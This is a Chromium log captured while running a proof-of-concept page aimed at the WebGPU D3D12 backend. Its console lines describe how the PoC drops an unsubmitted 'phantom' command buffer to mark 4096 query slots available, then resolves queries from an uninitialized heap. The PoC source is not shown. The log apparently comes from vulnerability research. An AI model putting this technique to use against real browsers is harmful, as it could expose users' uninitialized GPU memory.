[1190:1190:0403/043545.269273:ERROR:gpu/vulkan/vulkan_instance.cc:200] vkCreateInstance() failed: -9
[1190:1190:0403/043545.269412:ERROR:gpu/ipc/service/gpu_init.cc:1398] Failed to create and initialize Vulkan implementation.
[1190:1190:0403/043545.269460:INFO:third_party/skia/src/gpu/vk/VulkanPreferredFeatures.cpp:434] WARNING: VulkanPreferredFeatures::addFeaturesToQuery() was not called

[1190:1190:0403/043545.269504:INFO:third_party/skia/src/gpu/vk/VulkanPreferredFeatures.cpp:437] WARNING: VulkanPreferredFeatures::addFeaturesToEnable() was not called

[1190:1190:0403/043545.279518:WARNING:sandbox/policy/linux/sandbox_linux.cc:404] InitializeSandbox() called with multiple threads in process gpu-process.
[1156:1156:0403/043545.858374:INFO:CONSOLE:37] "[*] Adapter: google / swiftshader / ?", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043545.859601:INFO:CONSOLE:37] "[!] This POC targets the D3D12 backend (Windows). On Vulkan/Metal the", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043545.859770:INFO:CONSOLE:37] "    frontend desync still occurs, but the D3D12-specific UB path", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043545.859977:INFO:CONSOLE:37] "    (CommandBufferD3D12.cpp:1282-1319) is not compiled.", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043547.706461:INFO:CONSOLE:37] "[*] QuerySet created: 4096 occlusion slots (D3D12: bare CreateQueryHeap, no init)", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043547.706665:INFO:CONSOLE:37] "[*] Phase 1: phantom encoder — polluting mQueryAvailability[0..4095] = true", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043547.708996:INFO:CONSOLE:37] "    phantom CommandBuffer finished and DROPPED — no queue.submit()", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043547.709201:INFO:CONSOLE:37] "    → on the GPU side, the ID3D12QueryHeap is still 100% uninitialized", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043547.709391:INFO:CONSOLE:37] "    → on the host side, mQueryAvailability is now [true × 4096]", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043547.709512:INFO:CONSOLE:37] "[*] Phase 2: resolve-only encoder — this one IS submitted", source: http://127.0.0.1:8080/poc.html (37)
[1156:1156:0403/043547.710208:INFO:CONSOLE:37] "    queue.submit() — D3D12 ResolveQueryData now runs on uninitialized heap", source: http://127.0.0.1:8080/poc.html (37)